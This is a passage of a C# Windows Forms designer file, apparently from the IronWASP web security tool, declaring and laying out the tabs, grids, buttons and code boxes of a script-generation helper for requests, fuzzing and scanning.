System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle6 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle10 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle11 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle12 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle13 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle14 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle15 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle16 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle17 = new System.Windows.Forms.DataGridViewCellStyle(); + this.BaseSplit = new System.Windows.Forms.SplitContainer(); + this.QuestionTabs = new System.Windows.Forms.TabControl(); + this.tabPage15 = new System.Windows.Forms.TabPage(); + this.IntroRTB = new System.Windows.Forms.RichTextBox(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.tabControl1 = new System.Windows.Forms.TabControl(); + this.tabPage6 = new System.Windows.Forms.TabPage(); + this.CRErrorTB = new System.Windows.Forms.TextBox(); + this.CRFromLogPanel = new System.Windows.Forms.Panel(); + this.CRLogSourceGrid = new System.Windows.Forms.DataGridView(); + this.Column1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.CRLogIdTB = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.CRFromUrlPanel = new System.Windows.Forms.Panel(); + this.CRRequestBodyTB = new System.Windows.Forms.TextBox(); + this.CRRequestUrlTB = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.CRIncludeRequestBodyCB = new System.Windows.Forms.CheckBox(); + this.CRCreateCodeBtn = new System.Windows.Forms.Button(); + this.CRFromLogRB = new System.Windows.Forms.RadioButton(); + this.CRFromUrlRB = new System.Windows.Forms.RadioButton(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.tabPage12 = new System.Windows.Forms.TabPage(); + this.RPPParameterDescriptionTB = new System.Windows.Forms.TextBox(); + this.RPPErrorTB = new System.Windows.Forms.TextBox(); + this.RPPCreateCodeBtn = new System.Windows.Forms.Button(); + this.RPPParameterValueTB = new System.Windows.Forms.TextBox(); + this.RPPParameterValueLbl = new System.Windows.Forms.Label(); + this.RPPParameterNameTB = new System.Windows.Forms.TextBox(); + this.RPPParameterNameLbl = new System.Windows.Forms.Label(); + this.RPPQuestionGB = new System.Windows.Forms.GroupBox(); + this.RPPAnswerTwoRB = new System.Windows.Forms.RadioButton(); + this.RPPAnswerOneRB = new System.Windows.Forms.RadioButton(); + this.RPPActionGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn2 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.RPPParameterTypeGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.textBox3 = new System.Windows.Forms.TextBox(); + this.tabPage7 = new System.Windows.Forms.TabPage(); + this.ROPDisplayRTB = new System.Windows.Forms.RichTextBox(); + this.ROPParameterDescriptionTB = new System.Windows.Forms.TextBox(); + this.ROPErrorTB = new System.Windows.Forms.TextBox(); + this.ROPCreateCodeBtn = new System.Windows.Forms.Button(); + this.ROPParameterValueTB = new System.Windows.Forms.TextBox(); + this.ROPParameterValueLbl = new System.Windows.Forms.Label(); + this.ROPQuestionGB = new System.Windows.Forms.GroupBox(); + this.ROPAnswerEditRB = new System.Windows.Forms.RadioButton(); + this.ROPAnswerReadRB = new System.Windows.Forms.RadioButton(); + this.ROPParameterTypeGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn3 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.textBox7 = new System.Windows.Forms.TextBox(); + this.tabPage8 = new System.Windows.Forms.TabPage(); + this.SRErrorTB = new System.Windows.Forms.TextBox(); + this.SRCreateCodeBtn = new System.Windows.Forms.Button(); + this.SRLogSourceTB = new System.Windows.Forms.TextBox(); + this.SRLogSourceLbl = new System.Windows.Forms.Label(); + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.SRDontFollowRedirectRB = new System.Windows.Forms.RadioButton(); + this.SRFollowRedirectRB = new System.Windows.Forms.RadioButton(); + this.SRSendWithLogSourceRB = new System.Windows.Forms.RadioButton(); + this.SRNormalSendRB = new System.Windows.Forms.RadioButton(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.tabPage13 = new System.Windows.Forms.TabPage(); + this.ReqODescTB = new System.Windows.Forms.TextBox(); + this.ReqOCreateCodeBtn = new System.Windows.Forms.Button(); + this.ReqOActionsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn10 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn16 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column7 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn17 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.textBox16 = new System.Windows.Forms.TextBox(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.tabControl2 = new System.Windows.Forms.TabControl(); + this.tabPage10 = new System.Windows.Forms.TabPage(); + this.ResDisplayRTB = new System.Windows.Forms.RichTextBox(); + this.ResParameterDescriptionTB = new System.Windows.Forms.TextBox(); + this.ResErrorTB = new System.Windows.Forms.TextBox(); + this.ResCreateCodeBtn = new System.Windows.Forms.Button(); + this.ResParameterValueTB = new System.Windows.Forms.TextBox(); + this.ResParameterValueLbl = new System.Windows.Forms.Label(); + this.ResQuestionGB = new System.Windows.Forms.GroupBox(); + this.ResAnswerEditRB = new System.Windows.Forms.RadioButton(); + this.ResAnswerReadRB = new System.Windows.Forms.RadioButton(); + this.ResParameterTypeGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn4 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn6 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn8 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.textBox8 = new System.Windows.Forms.TextBox(); + this.tabPage11 = new System.Windows.Forms.TabPage(); + this.HtmlAnswerPanel = new System.Windows.Forms.Panel(); + this.HtmlAnswerLbl = new System.Windows.Forms.Label(); + this.HtmlAnswerTB = new System.Windows.Forms.TextBox(); + this.HtmlAnswerDescriptionTB = new System.Windows.Forms.TextBox(); + this.HtmlGEPanel = new System.Windows.Forms.Panel(); + this.label9 = new System.Windows.Forms.Label(); + this.label10 = new System.Windows.Forms.Label(); + this.HtmlGETagTB = new System.Windows.Forms.TextBox(); + this.label11 = new System.Windows.Forms.Label(); + this.HtmlGEAttributeValueTB = new System.Windows.Forms.TextBox(); + this.HtmlGEAttributeNameTB = new System.Windows.Forms.TextBox(); + this.HtmlGVPanel = new System.Windows.Forms.Panel(); + this.label5 = new System.Windows.Forms.Label(); + this.label4 = new System.Windows.Forms.Label(); + this.label7 = new System.Windows.Forms.Label(); + this.HtmlGVTagTB = new System.Windows.Forms.TextBox(); + this.label6 = new System.Windows.Forms.Label(); + this.HtmlGVMainAttributeNameTB = new System.Windows.Forms.TextBox(); + this.HtmlGVHelperAttributeValueTB = new System.Windows.Forms.TextBox(); + this.HtmlGVHelperAttributeNameTB = new System.Windows.Forms.TextBox(); + this.HtmlOptionsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn6 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn10 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column6 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.HtmlErrorTB = new System.Windows.Forms.TextBox(); + this.HtmlCreateCodeBtn = new System.Windows.Forms.Button(); + this.HtmlDescriptionTB = new System.Windows.Forms.TextBox(); + this.HtmlMainActionsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn5 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn7 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn9 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.textBox4 = new System.Windows.Forms.TextBox(); + this.tabPage9 = new System.Windows.Forms.TabPage(); + this.ResODescTB = new System.Windows.Forms.TextBox(); + this.ResOCreateCodeBtn = new System.Windows.Forms.Button(); + this.ResOActionsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn9 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn13 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn18 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn14 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.textBox15 = new System.Windows.Forms.TextBox(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.LogCreateCodeBtn = new System.Windows.Forms.Button(); + this.LogSourceGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn7 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn11 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.LogErrorTB = new System.Windows.Forms.TextBox(); + this.textBox6 = new System.Windows.Forms.TextBox(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.textBox14 = new System.Windows.Forms.TextBox(); + this.textBox13 = new System.Windows.Forms.TextBox(); + this.textBox12 = new System.Windows.Forms.TextBox(); + this.CrawlCreateCodeBtn = new System.Windows.Forms.Button(); + this.CrawlFormsRB = new System.Windows.Forms.RadioButton(); + this.CrawlLinksRB = new System.Windows.Forms.RadioButton(); + this.CrawlCookiesRB = new System.Windows.Forms.RadioButton(); + this.textBox5 = new System.Windows.Forms.TextBox(); + this.tabPage14 = new System.Windows.Forms.TabPage(); + this.FuzzBaseTabs = new System.Windows.Forms.TabControl(); + this.NameTab = new System.Windows.Forms.TabPage(); + this.FuzzInCodeRB = new System.Windows.Forms.RadioButton(); + this.FuzzUseUiRB = new System.Windows.Forms.RadioButton(); + this.textBox9 = new System.Windows.Forms.TextBox(); + this.FuzzStepZeroNextBtn = new System.Windows.Forms.Button(); + this.LanguageTab = new System.Windows.Forms.TabPage(); + this.FuzzSelectedParametersListTB = new System.Windows.Forms.TextBox(); + this.FuzzBodyTypeGB = new System.Windows.Forms.GroupBox(); + this.FuzzBodyCustomMsgTB = new System.Windows.Forms.TextBox(); + this.FuzzBodyCustomEndTB = new System.Windows.Forms.TextBox(); + this.FuzzBodyCustomEndLbl = new System.Windows.Forms.Label(); + this.FuzzBodyCustomStartTB = new System.Windows.Forms.TextBox(); + this.FuzzBodyCustomStartLbl = new System.Windows.Forms.Label(); + this.FuzzBodyTypeGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn12 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn20 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.FuzzAddPointLL = new System.Windows.Forms.LinkLabel(); + this.FuzzParametersNameListLbl = new System.Windows.Forms.Label(); + this.FuzzParametersNameListTB = new System.Windows.Forms.TextBox(); + this.FuzzListedParametersRB = new System.Windows.Forms.RadioButton(); + this.FuzzAllParametersRB = new System.Windows.Forms.RadioButton(); + this.FuzzParameterTypeGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn11 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn19 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.FuzzStep1StatusTB = new System.Windows.Forms.TextBox(); + this.textBox18 = new System.Windows.Forms.TextBox(); + this.FuzzStepOnePreviousBtn = new System.Windows.Forms.Button(); + this.FuzzStepOneNextBtn = new System.Windows.Forms.Button(); + this.PayloadsTab = new System.Windows.Forms.TabPage(); + this.FuzzLoadPayloadsFromFileRB = new System.Windows.Forms.RadioButton(); + this.FuzzUsePayloadsFromListRB = new System.Windows.Forms.RadioButton(); + this.groupBox3 = new System.Windows.Forms.GroupBox(); + this.label13 = new System.Windows.Forms.Label(); + this.FuzzOriginalParameterBeforePayloadRB = new System.Windows.Forms.RadioButton(); + this.FuzzOriginalParameterAfterPayloadRB = new System.Windows.Forms.RadioButton(); + this.FuzzNoOriginalParameterRB = new System.Windows.Forms.RadioButton(); + this.groupBox2 = new System.Windows.Forms.GroupBox(); + this.FuzzPayloadEncodedNoRB = new System.Windows.Forms.RadioButton(); + this.FuzzPayloadEncodedYesRB = new System.Windows.Forms.RadioButton(); + this.textBox10 = new System.Windows.Forms.TextBox(); + this.FuzzPayloadsFileLbl = new System.Windows.Forms.Label(); + this.FuzzPayloadsListTB = new System.Windows.Forms.TextBox(); + this.FuzzLoadPayloadsFileLL = new System.Windows.Forms.LinkLabel(); + this.FuzzStep2StatusTB = new System.Windows.Forms.TextBox(); + this.textBox17 = new System.Windows.Forms.TextBox(); + this.FuzzStepTwoPreviousBtn = new System.Windows.Forms.Button(); + this.FuzzStepTwoNextBtn = new System.Windows.Forms.Button(); + this.FinalTab = new System.Windows.Forms.TabPage(); + this.label3 = new System.Windows.Forms.Label(); + this.FuzzStep3StatusTB = new System.Windows.Forms.TextBox(); + this.FuzzUseCustomLogSourceCB = new System.Windows.Forms.CheckBox(); + this.FuzzSessionPluginGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn13 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn21 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.FuzzSessionPluginMsgTB = new System.Windows.Forms.TextBox(); + this.label8 = new System.Windows.Forms.Label(); + this.FuzzStepThreePreviousBtn = new System.Windows.Forms.Button(); + this.FuzzLogSourceTB = new System.Windows.Forms.TextBox(); + this.FuzzCreateCodeBtn = new System.Windows.Forms.Button(); + this.tabPage16 = new System.Windows.Forms.TabPage(); + this.ScanBaseTabs = new System.Windows.Forms.TabControl(); + this.tabPage18 = new System.Windows.Forms.TabPage(); + this.ScanSelectedParametersListTB = new System.Windows.Forms.TextBox(); + this.ScanBodyTypeGB = new System.Windows.Forms.GroupBox(); + this.ScanBodyCustomMsgTB = new System.Windows.Forms.TextBox(); + this.ScanBodyCustomEndTB = new System.Windows.Forms.TextBox(); + this.ScanBodyCustomEndLbl = new System.Windows.Forms.Label(); + this.ScanBodyCustomStartTB = new System.Windows.Forms.TextBox(); + this.ScanBodyCustomStartLbl = new System.Windows.Forms.Label(); + this.ScanBodyTypeGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn14 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn22 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanAddPointLL = new System.Windows.Forms.LinkLabel(); + this.ScanParametersNameListLbl = new System.Windows.Forms.Label(); + this.ScanParametersNameListTB = new System.Windows.Forms.TextBox(); + this.ScanListedParametersRB = new System.Windows.Forms.RadioButton(); + this.ScanAllParametersRB = new System.Windows.Forms.RadioButton(); + this.ScanParameterTypeGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn15 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn23 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanStep0StatusTB = new System.Windows.Forms.TextBox(); + this.textBox26 = new System.Windows.Forms.TextBox(); + this.ScanResetBtn = new System.Windows.Forms.Button(); + this.ScanStepZeroNextBtn = new System.Windows.Forms.Button(); + this.tabPage19 = new System.Windows.Forms.TabPage(); + this.ScanAllPluginsCB = new System.Windows.Forms.CheckBox(); + this.ScanPluginsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn17 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn25 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanStep1StatusTB = new System.Windows.Forms.TextBox(); + this.textBox30 = new System.Windows.Forms.TextBox(); + this.ScanStepOnePreviousBtn = new System.Windows.Forms.Button(); + this.ScanStepOneNextBtn = new System.Windows.Forms.Button(); + this.tabPage20 = new System.Windows.Forms.TabPage(); + this.ScanStep2StatusTB = new System.Windows.Forms.TextBox(); + this.ScanSessionPluginGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn16 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn24 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanSessionPluginMsgTB = new System.Windows.Forms.TextBox(); + this.ScanStepTwoPreviousBtn = new System.Windows.Forms.Button(); + this.ScanCreateCodeBtn = new System.Windows.Forms.Button(); + this.tabPage5 = new System.Windows.Forms.TabPage(); + this.ToolsCreateCodeBtn = new System.Windows.Forms.Button(); + this.ToolsItemGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn8 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn12 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn15 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.textBox11 = new System.Windows.Forms.TextBox(); + this.ErrorLbl = new System.Windows.Forms.Label(); + this.CopyScriptLL = new System.Windows.Forms.LinkLabel(); + this.ShowHideCommentsLL = new System.Windows.Forms.LinkLabel(); + this.CodeTabs = new System.Windows.Forms.TabControl(); + this.PyCodeTab = new System.Windows.Forms.TabPage(); + this.PythonCTB = new IronWASP.CodeTextBox(); + this.RbCodeTab = new System.Windows.Forms.TabPage(); + this.RubyCTB = new IronWASP.CodeTextBox(); + this.PayloadFileOpener = new System.Windows.Forms.OpenFileDialog(); + this.BaseSplit.Panel1.SuspendLayout(); + this.BaseSplit.Panel2.SuspendLayout(); + this.BaseSplit.SuspendLayout(); + this.QuestionTabs.SuspendLayout(); + this.tabPage15.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.tabControl1.SuspendLayout(); + this.tabPage6.SuspendLayout(); + this.CRFromLogPanel.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.CRLogSourceGrid)).BeginInit(); + this.CRFromUrlPanel.SuspendLayout(); + this.tabPage12.SuspendLayout(); + this.RPPQuestionGB.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.RPPActionGrid)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.RPPParameterTypeGrid)).BeginInit(); + this.tabPage7.SuspendLayout(); + this.ROPQuestionGB.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ROPParameterTypeGrid)).BeginInit(); + this.tabPage8.SuspendLayout(); + this.groupBox1.SuspendLayout(); + this.tabPage13.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ReqOActionsGrid)).BeginInit(); + this.tabPage2.SuspendLayout(); + this.tabControl2.SuspendLayout(); + this.tabPage10.SuspendLayout(); + this.ResQuestionGB.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ResParameterTypeGrid)).BeginInit(); + this.tabPage11.SuspendLayout(); + this.HtmlAnswerPanel.SuspendLayout(); + this.HtmlGEPanel.SuspendLayout(); + this.HtmlGVPanel.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.HtmlOptionsGrid)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.HtmlMainActionsGrid)).BeginInit(); + this.tabPage9.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ResOActionsGrid)).BeginInit(); + this.tabPage3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.LogSourceGrid)).BeginInit(); + this.tabPage4.SuspendLayout(); + this.tabPage14.SuspendLayout(); + this.FuzzBaseTabs.SuspendLayout(); + this.NameTab.SuspendLayout(); + this.LanguageTab.SuspendLayout(); + this.FuzzBodyTypeGB.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FuzzBodyTypeGrid)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.FuzzParameterTypeGrid)).BeginInit(); + this.PayloadsTab.SuspendLayout(); + this.groupBox3.SuspendLayout(); + this.groupBox2.SuspendLayout(); + this.FinalTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FuzzSessionPluginGrid)).BeginInit(); + this.tabPage16.SuspendLayout(); + this.ScanBaseTabs.SuspendLayout(); + this.tabPage18.SuspendLayout(); + this.ScanBodyTypeGB.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanBodyTypeGrid)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.ScanParameterTypeGrid)).BeginInit(); + this.tabPage19.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).BeginInit(); + this.tabPage20.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanSessionPluginGrid)).BeginInit(); + this.tabPage5.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ToolsItemGrid)).BeginInit(); + this.CodeTabs.SuspendLayout(); + this.PyCodeTab.SuspendLayout(); + this.RbCodeTab.SuspendLayout(); + this.SuspendLayout(); + // + // BaseSplit + // + this.BaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseSplit.Location = new System.Drawing.Point(0, 0); + this.BaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.BaseSplit.Name = "BaseSplit"; + this.BaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // BaseSplit.Panel1 + // + this.BaseSplit.Panel1.Controls.Add(this.QuestionTabs); + // + // BaseSplit.Panel2 + // + this.BaseSplit.Panel2.Controls.Add(this.ErrorLbl); + this.BaseSplit.Panel2.Controls.Add(this.CopyScriptLL); + this.BaseSplit.Panel2.Controls.Add(this.ShowHideCommentsLL); + this.BaseSplit.Panel2.Controls.Add(this.CodeTabs); + this.BaseSplit.Size = new System.Drawing.Size(884, 562); + this.BaseSplit.SplitterDistance = 354; + this.BaseSplit.SplitterWidth = 2; + this.BaseSplit.TabIndex = 0; + // + // QuestionTabs + // + this.QuestionTabs.Controls.Add(this.tabPage15); + this.QuestionTabs.Controls.Add(this.tabPage1); + this.QuestionTabs.Controls.Add(this.tabPage2); + this.QuestionTabs.Controls.Add(this.tabPage3); + this.QuestionTabs.Controls.Add(this.tabPage4); + this.QuestionTabs.Controls.Add(this.tabPage14); + this.QuestionTabs.Controls.Add(this.tabPage16); + this.QuestionTabs.Controls.Add(this.tabPage5); + this.QuestionTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.QuestionTabs.Location = new System.Drawing.Point(0, 0); + this.QuestionTabs.Margin = new System.Windows.Forms.Padding(0); + this.QuestionTabs.Name = "QuestionTabs"; + this.QuestionTabs.Padding = new System.Drawing.Point(0, 0); + this.QuestionTabs.SelectedIndex = 0; + this.QuestionTabs.Size = new System.Drawing.Size(884, 354); + this.QuestionTabs.TabIndex = 1; + // + // tabPage15 + // + this.tabPage15.Controls.Add(this.IntroRTB); + this.tabPage15.Location = new System.Drawing.Point(4, 22); + this.tabPage15.Name = "tabPage15"; + this.tabPage15.Size = new System.Drawing.Size(876, 328); + this.tabPage15.TabIndex = 6; + this.tabPage15.Text = " Intro "; + this.tabPage15.UseVisualStyleBackColor = true; + // + // IntroRTB + // + this.IntroRTB.BackColor = System.Drawing.Color.White; + this.IntroRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.IntroRTB.DetectUrls = false; + this.IntroRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.IntroRTB.Location = new System.Drawing.Point(0, 0); + this.IntroRTB.Name = "IntroRTB"; + this.IntroRTB.ReadOnly = true; + this.IntroRTB.Size = new System.Drawing.Size(876, 328); + this.IntroRTB.TabIndex = 0; + this.IntroRTB.Text = ""; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.tabControl1); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Margin = new System.Windows.Forms.Padding(0); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Size = new System.Drawing.Size(876, 328); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = " Request "; + this.tabPage1.UseVisualStyleBackColor = true; + // + // tabControl1 + // + this.tabControl1.Controls.Add(this.tabPage6); + this.tabControl1.Controls.Add(this.tabPage12); + this.tabControl1.Controls.Add(this.tabPage7); + this.tabControl1.Controls.Add(this.tabPage8); + this.tabControl1.Controls.Add(this.tabPage13); + this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl1.Location = new System.Drawing.Point(0, 0); + this.tabControl1.Margin = new System.Windows.Forms.Padding(0); + this.tabControl1.Name = "tabControl1"; + this.tabControl1.Padding = new System.Drawing.Point(0, 0); + this.tabControl1.SelectedIndex = 0; + this.tabControl1.Size = new System.Drawing.Size(876, 328); + this.tabControl1.TabIndex = 2; + // + // tabPage6 + // + this.tabPage6.BackColor = System.Drawing.Color.White; + this.tabPage6.Controls.Add(this.CRErrorTB); + this.tabPage6.Controls.Add(this.CRFromLogPanel); + this.tabPage6.Controls.Add(this.CRFromUrlPanel); + this.tabPage6.Controls.Add(this.CRCreateCodeBtn); + this.tabPage6.Controls.Add(this.CRFromLogRB); + this.tabPage6.Controls.Add(this.CRFromUrlRB); + this.tabPage6.Controls.Add(this.textBox1); + this.tabPage6.Location = new System.Drawing.Point(4, 22); + this.tabPage6.Margin = new System.Windows.Forms.Padding(0); + this.tabPage6.Name = "tabPage6"; + this.tabPage6.Size = new System.Drawing.Size(868, 302); + this.tabPage6.TabIndex = 0; + this.tabPage6.Text = " Create Request "; + // + // CRErrorTB + // + this.CRErrorTB.BackColor = System.Drawing.Color.Red; + this.CRErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.CRErrorTB.Location = new System.Drawing.Point(506, 159); + this.CRErrorTB.Multiline = true; + this.CRErrorTB.Name = "CRErrorTB"; + this.CRErrorTB.ReadOnly = true; + this.CRErrorTB.Size = new System.Drawing.Size(258, 83); + this.CRErrorTB.TabIndex = 13; + this.CRErrorTB.TabStop = false; + this.CRErrorTB.Visible = false; + // + // CRFromLogPanel + // + this.CRFromLogPanel.Controls.Add(this.CRLogSourceGrid); + this.CRFromLogPanel.Controls.Add(this.CRLogIdTB); + this.CRFromLogPanel.Controls.Add(this.label2); + this.CRFromLogPanel.Location = new System.Drawing.Point(5, 158); + this.CRFromLogPanel.Name = "CRFromLogPanel"; + this.CRFromLogPanel.Size = new System.Drawing.Size(495, 141); + this.CRFromLogPanel.TabIndex = 12; + this.CRFromLogPanel.Visible = false; + // + // CRLogSourceGrid + // + this.CRLogSourceGrid.AllowUserToAddRows = false; + this.CRLogSourceGrid.AllowUserToDeleteRows = false; + this.CRLogSourceGrid.AllowUserToResizeRows = false; + this.CRLogSourceGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.CRLogSourceGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; + this.CRLogSourceGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.CRLogSourceGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.Column1, + this.Column2}); + this.CRLogSourceGrid.GridColor = 